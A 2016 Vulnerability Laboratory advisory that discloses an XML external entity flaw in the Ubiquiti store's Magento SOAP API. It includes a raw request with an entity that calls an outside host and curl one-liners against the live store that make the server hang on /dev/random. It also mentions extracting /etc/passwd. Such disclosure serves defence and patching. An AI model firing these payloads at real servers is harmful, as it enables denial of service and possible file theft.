Document Title:
===============
UBNT Bug Bounty #2 - XML External Entity Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1466


Release Date:
=============
2016-04-14


Vulnerability Laboratory ID (VL-ID):
====================================
1466


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
Ubiquiti Networks is an American technology company started in 2005. Based in San Jose, California they are a manufacturer of 
wireless products whose primary focus is on under-served and emerging markets.

(Copy of the Homepage: https://en.wikipedia.org/wiki/Ubiquiti_Networks )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a XEE Vulnerability in the official Ubnt online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-04-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ubiquiti Network
Product: Ubnt Store - Web Application (Online-Service) 2015 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An XML external entities injection vulnerability exists on the soap server hosted on https://store.ubnt.com/index.php/api/ magento script. 
The attack allows an attacker to open local files (although perhaps not return the data, see below), leading at best to a DoS.


Proof of Concept (PoC):
=======================
The XEE Vulnerability can be exploited by remote attackers without privileged application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Often this attack can be used to extract files from the server (such as /etc/passwd), or even directly execute code if the PHP 
expect module is installed, however in this case exploitation isn't as straight forward as the issue occurs in the XML pre-check 
code and no user input is returned. That's not to say there isn't a away to exfiltrate data,

--- PoC Session Logs [POST] ---
POST /index.php/api/ HTTP/1.1
Host: store.ubnt.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 211


PoC:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://zero-way.net/?xxe">]>
<SOAP-ENV:Envelope>
<SOAP-ENV:Body>

</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

PoC. Reply
<?xml version="1.0" encoding="UTF-8"?>
<env:Envelope xmlns:env="https://www.w3.org/2003/05/soap-envelope">env:Bodyenv:Faultenv:Codeenv:Valueenv:Receiver/env:Value/env:Codeenv:Reasonenv:TextDTD 
are not supported by SOAP/env:Text/env:Reason/env:Fault/env:Body/env:Envelope

You'll get the error "DTD are not supported by SOAP", but the attack will have succeeded.

cURL proof-of-concept which makes the script open /dev/random and hang:
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/

curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://store.ubnt.com/index.php/api/soap/

For more information on XXE vulnerabilities in PHP in particular, see:
https://phpsecurity.readthedocs.org/en/latest/Injection-Attacks.html#xml-external-entity-injection

Hadji Samir

i installed the last version ver 1.9.1.0 - magento ,they fixed the bug xxe/xee:
disabled to prevent XXE/XEE attacks

Poc
curl -is --data $'<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>' https://localhost/magento/index.php/api/
HTTP/1.1 500 Internal Service Error
Date: Sat, 21 Mar 2015 22:00:23 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.36-0+deb7u3
Content-Length: 324
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="https://schemas.xmlsoap.org/soap/envelope/">SOAP-ENV:BodySOAP-ENV:Fault<faultcode>Sender</faultcode><faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE attacks</faultstring>/SOAP-ENV:Fault/SOAP-ENV:Body/SOAP-ENV:Envelope


Security Risk:
==============
The security risk of the xee vulnerability in the soap server is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir (samir@evolution-sec.com)  [https://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


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